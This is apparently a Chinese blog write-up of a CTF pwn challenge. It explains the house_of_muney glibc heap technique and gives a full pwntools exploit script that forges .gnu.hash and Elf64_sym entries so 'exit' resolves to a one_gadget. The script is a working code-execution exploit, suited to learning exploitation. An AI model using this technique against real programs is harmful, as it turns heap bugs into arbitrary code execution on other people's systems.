这道题目的漏洞点很明显,:给我们修改(heap_addr+0x8ffff)内任意地址内容的权限,那这道题目的利用方式应该是house_of_muney

先来看一下house_of_muney的相关内容:

house_of_muney

漏洞成因

堆溢出

适用范围

  • 2.23——至今

  • 能分配mmapchunk

  • 能修改mmapchunk的大小

利用原理

这个技巧被称之为steal heap from glibc。主要的点有以下几个:

  • libc.so.6映射的地址空间,前面都是与符号表、哈希表、字符串表等重定位或者解析函数地址有关,前面一段的权限是r--

  • mmap(NULL, ...)是会分配到libc.so.6的上方的

基于这两个知识点,利用过程如下:

  • 申请chunk A,假设为0x40000大小,则会走mmap申请,并且申请到libc.so.6的上方

  • 修改chunk A的大小为0x45000,设置MMAP标志位

  • 释放chunk A,则会把libc.so.60x5000的内存也释放掉

  • 再次申请0x45000,就可以控制libc.so.6原来的符号表、哈希表等等

  • 触发一次dl_runtime_resolve等就能控制程序执行任意代码

相关技巧

  • 需要伪造的符号表、哈希表等需要逐步调试

  • 可以扩展为steal heap from everywhere

需要伪造的内容:

  • l_gnu_bitmask

  • l_gnu_bucket

  • l_gnu_chain_zero

  • 需要修改函数的 Elf64_sym 结构体

个人觉的其与ret2dl很像,都是去利用_dl_fix()函数,但是house_of_muney是直接去修改各个节的内容,而ret2dl则是去伪造各个节的内容

exp:

from pwn import *
from pwncli import *
from pwn_std import *
import ctypes

context(os='linux', arch='amd64', log_level='debug')
p = getProcess("node.vnteam.cn", "47864", "./pwn")
# elf = ELF("./vuln")
libc = ELF("/home/albert/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6")
# elf=ctypes.CDLL('/home/albert/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')

cmd = """
set debug-file-directory /home/albert/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/.debug/
dir /home/albert/CTF/glibc-source/glibc-2.35/elf
b do_lookup_x
b exit
"""

def add(id,size):
    sla("Please select an option:",str(1))
    sla("Enter customer ID:",str(id))
    sla("Enter allocated data size:",str(size).encode())
    
def dele(id):
    sla("Please select an option:",str(2))
    sla("Enter customer ID to remove:",str(id))

def edit(id,length,data):
    sla("Please select an option:",str(3))
    sla("Enter customer ID to update:",str(id))
    sla("Enter data length:",str(length).encode())
    sla("Enter updated customer details:",data)

def show(id):
    sla("Please select an option:",str(4))
    sla("Enter customer ID to view:",str(id))


#修改libc段的读写权限
add(0, 0x40000 - 0x2000)

edit(0,-8, p64(0x41002 + 0x5000 + 0x4000))
dele(0)
add(0, 0x41000 * 2 + 0x4000)
#edit修改头节点内容
#映射后内存全部被初始化为 0,仅伪造 Elf64_sym 结构体,将会出错
#篡改执行流exit-->>onegadget
'''
l_gnu_bitmask
l_gnu_bucket
l_gnu_chain_zero
需要修改函数的 Elf64_sym 结构体
'''

base_off=0x7bff0
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04][1]
gnu_hash_section = libc.get_section_by_name('.gnu.hash')
dynsym_section = libc.get_section_by_name('.dynsym')
dynstr_section = libc.get_section_by_name('.dynstr')

print("gnu_hash_section=",(gnu_hash_section))
print("dynsym_section=",(dynsym_section))
print("dynstr_section=",(dynstr_section))

namehash = gnu_hash_section.gnu_hash('exit')
bloom_off = gnu_hash_section['sh_addr'] + 4 *gnu_hash_section._wordsize
bucket_off = bloom_off + gnu_hash_section.params['bloom_size'] *gnu_hash_section._xwordsize
bloom_elem_idx = int(namehash /
gnu_hash_section.elffile.elfclass) % gnu_hash_section.params['bloom_size']
bloom_elem_off = bloom_off + bloom_elem_idx *gnu_hash_section._xwordsize
bloom_elem_val = gnu_hash_section.params['bloom'][bloom_elem_idx]
bucket_elem_idx = namehash % gnu_hash_section.params['nbuckets']
bucket_elem_off = bucket_off + bucket_elem_idx * gnu_hash_section._wordsize
bucket_elem_val = gnu_hash_section.params['buckets'][bucket_elem_idx]
hasharr_off = gnu_hash_section._chain_pos + (bucket_elem_val -
gnu_hash_section.params['symoffset']) * gnu_hash_section._wordsize
sym_off = dynsym_section['sh_offset'] + bucket_elem_val * dynsym_section['sh_entsize']

sym_value = b''
sym_value += p32(libc.search(b'exit\x00').__next__() -
dynstr_section['sh_offset']) # st_name
sym_value += p8(0x12) # st_info
sym_value += p8(0) # st_other
sym_value += p16(1) # st_shndx
sym_value += p64(one_gadget) # st_value
sym_value += p64(8) # st_size

print("bloom_elem_off=",hex(bloom_elem_off))
print("bloom_elem_val=",hex(bloom_elem_val))
print("bucket_elem_off=",hex(bucket_elem_off))
print("bucket_elem_val=",hex(bucket_elem_val))
print("hasharr_off=",hex(hasharr_off))
print("namehash=",hex(namehash))
print("sym_off=",hex(sym_off))

edit(0, base_off + bloom_elem_off, p64(bloom_elem_val))
edit(0, base_off + bucket_elem_off, p32(bucket_elem_val))
edit(0, base_off + hasharr_off, p32(namehash))
edit(0, base_off + sym_off, sym_value)



sla("Please select an option:",str(5))
ita()

文章作者: A1b2rt
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 pwn手的成长之旅
house_of_muney pwn house_of_muney
喜欢就支持一下吧
打赏
微信 微信